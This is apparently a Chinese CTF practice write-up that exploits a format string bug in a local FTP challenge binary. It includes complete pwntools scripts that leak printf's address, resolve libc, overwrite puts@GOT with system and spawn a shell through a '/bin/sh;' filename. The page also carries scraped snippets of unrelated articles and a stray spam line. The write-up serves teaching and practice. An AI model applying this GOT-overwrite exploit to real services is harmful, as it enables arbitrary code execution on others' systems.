<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    格式化字符串漏洞練習

    VSole2022-07-06 17:01:05

    ftp程序,需要使用rxraclhm賬號登錄,提供了get、put、dir三個功能,分別讀文件、上傳文件、查看目錄。

    其中get方法存在格式化字符串漏洞:

    所以需要先put一個文件,內容是payload,然后get這個文件。

    先測試一下偏移:

    from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get():    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()
    

    結果:

    看到tag偏移量是7。

    再測試一下,把put最后一行改一下:

    def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA%7$p')
    

    確定偏移是7。

    dir方法:

    開始構造payload:

    把puts的地址改成system的地址,然后put一個文件,文件名為‘/bin/sh;’, 然后再調用dir, show_dir()函數會執行puts("/bin/sh;...")

    也就是 system("/bin/sh;..."),反彈shell。

    exp:

    from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr  def compute_order_32(target):    print("target=%x"%target)    dic = {}    for i in range(4):        x = (target >> (i * 8))        x &= 0xff        dic[i] = x             ls = list(dic.items())    ls.sort(key=lambda x:x[1])    return ls  def hack(addr, value, offset_start):    list_of_value = compute_order_32(value)    print(list_of_value)     payload = flat([        p32(addr + 0),        p32(addr + 1),        p32(addr + 2),        p32(addr + 3)    ])     total_char = 16    for it in list_of_value:        curr_char = it[1] - total_char        total_char += curr_char        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"     print("addr=%x"%addr)    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()
    

    需要計算偏移量覆蓋got['puts']

    怎么覆蓋看這個:https://bbs.pediy.com/thread-273213.htm

    可以用pwntools里面的方法,一行代碼搞定:payload = fmtstr_payload(7, {addr: value})

    使用fmtstr_payload后的版本:

    from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr def hack(addr, value, offset_start):    payload = fmtstr_payload(7, {addr: value})    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()
    

    看下區別,這個是pwntools生成的payload:

    這個是我的:

    區別在格式化字符串和指針的位置不同。

    看下覆蓋后的got,已經變成system了,nice。

    printfftp
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    ftp程序,需要使用rxraclhm賬號登錄,提供了get、put、dir三個功能,分別讀文件、上傳文件、查看目錄。
    本文就簡單介紹介紹如何編譯一個musl libc下的程序,并通過它簡單調試調試musl libc 的一些特性。安裝musl環境&&符號表這里直接用0xRGz師傅的做法。(這里的/path/to是需要修改的,也就是你git的muslheap的路徑。freed_mask記錄group中已經被free釋放的堆塊,當前沒有任何被釋放的堆塊,所以它為0。free_able為1表示當前有一個堆塊能free。sizeclass為2 表示由0x2這個group進行管理這一類的大小的chunk。maplen為0說明這個group不是通過mmap分配的。接下來我們調試調試meta dequeue第二種觸發方式——malloc的時候。
    監控我們的環境對于服務器運維來說至關重要,尤其是在部署新的應用程序時。如今,公司每天都使用開源解決方案來監控系統資源。但是,當出于測試的目的來監控一定時間時,bash 腳本會派上用場。在本教程中,我們將編寫一個 bash shell 腳本,它將輸出一個三列表,來顯示我們機器上的內存、磁盤和 CPU 的百分比。該腳本基本上由三個主要部分組成:1.監控內存:free?和2 分別充當已用量和總量。$5 將從該行中選擇第 5 個字段。
    內網滲透合集(二)
    2023-01-28 09:35:05
    接下來在內網肉雞再次執行:htran -p -slave 公網肉雞IP 119 127.0.0.1 8009?linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。linux下實現大同小異,只不過用的fork實現子線程。此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
    0x02 環境復現在我們通過子域名進入目標內網5個小時被對方藍隊踢出來,所以非常需要一個入口點再次進入到目標內網,后來找到了一個具有回顯的SSRF,至于HFS服務器是我們在5個小時的時間中唯一拿下來的Windows機器。這里SSRF所在的服務器以及HFS服務器均不出網,但是SSRF由于是一個商城系統所以可以上傳圖片(頭像)。基于此我在虛擬機中搭建了HFS服務器,并未搭建商城。
    這里建議doc文檔,圖片可以貼的詳細一些。爆破完好了,一樣的6。想給它一個清晰完整的定義其實是非常困難的。
    一個內網安全攻防的知識倉庫
    一、漏洞挖掘的前期–信息收集 雖然是前期,但是卻是我認為最重要的一部分; 很多人挖洞的時候說不知道如何入手,其實挖洞就是信息收集+常規owasp top 10+邏輯漏洞(重要的可能就是思路猥瑣一點),這些漏洞的測試方法本身不是特別復雜,一般混跡在安全圈子的人都能復現漏洞。接下來我就著重說一下我在信息收集方面的心得。
    紅藍對抗—藍隊手冊
    2022-03-18 14:22:22
    紅藍對抗的主要目的在于,提高公司安全成熟度及其檢測和響應攻擊的能力。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类